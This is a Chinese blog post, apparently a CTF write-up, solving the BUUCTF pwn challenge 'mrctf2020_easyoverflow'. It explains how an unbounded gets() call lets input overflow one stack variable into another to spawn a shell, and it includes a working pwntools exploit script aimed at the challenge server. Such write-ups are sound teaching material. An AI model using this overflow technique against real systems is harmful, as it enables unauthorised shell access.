mrctf2020_easyoverflow

最新推荐文章于 2023-05-25 09:16:53 发布

m0sway

最新推荐文章于 2023-05-25 09:16:53 发布

阅读量367

点赞数

分类专栏： BUU-PWN 文章标签： pwn 安全网络安全信息安全

本文链接：https://blog.csdn.net/m0sway/article/details/121899823

版权

BUU-PWN 专栏收录该内容

58 篇文章 0 订阅

订阅专栏

"本文介绍了CTF比赛中的一道题目，涉及程序安全性检查、IDA分析和缓冲区溢出攻击。通过查看程序保护设置发现全开，进一步分析逻辑发现，只需令变量v5等于特定值fakeflag即可触发system("/bin/sh")。通过输入构造payload覆盖v5的值，成功getshell。最终给出了exploit代码实现远程连接并交互。"

摘要由CSDN通过智能技术生成

mrctf2020_easyoverflow

使用checksec查看：
在这里插入图片描述
保护全开！！！

放进IDA中看下：
在这里插入图片描述
大致逻辑：

用户输入的变量v4
v5有定值
调用check()函数传入参数v5
check(v5)为true就调用system("/bin/sh")

跟进check()函数查看：
在这里插入图片描述
思路明了，只需要v5 == fakeflag就能getshell，跟进查找fakeflag的值

再回来看输入点：

v4在var_70
v5在var_40

gets()函数不限制输入，那么可以输入v4时溢出到v5覆盖v5原来的值getshell

exp：

from pwn import *

#start
r = remote("node4.buuoj.cn",26478)
# r = process("../buu/mrctf2020_easyoverflow")

#params 

#attack
payload=b'M'*0x30 + b"n0t_r3@11y_f1@g"
r.sendline(payload)

r.interactive()